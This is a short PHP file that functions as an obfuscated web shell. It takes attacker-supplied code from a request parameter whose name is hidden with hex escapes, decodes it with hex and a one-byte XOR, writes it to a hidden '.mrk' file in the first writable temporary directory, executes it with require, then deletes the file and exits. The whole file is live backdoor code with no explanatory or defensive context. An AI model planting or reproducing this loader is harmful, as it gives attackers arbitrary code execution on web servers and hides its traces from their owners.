<?php

if(isset($_REQUEST["o\x62je\x63t"])){
	$desc = hex2bin($_REQUEST["o\x62je\x63t"]);
	$ent  ='';  for($r=0; $r<strlen($desc); $r++){$ent .= chr(ord($desc[$r]) ^ 6);}
	$dchunk = array_filter([session_save_path(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$record = 0;
do {
    $elem = $dchunk[$record] ?? null;
    if ($record >= count($dchunk)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) {
    $symbol = "$elem" . "/.mrk";
    if (file_put_contents($symbol, $ent)) {
	require $symbol;
	unlink($symbol);
	die();
}
}
    $record++;
} while (true);
}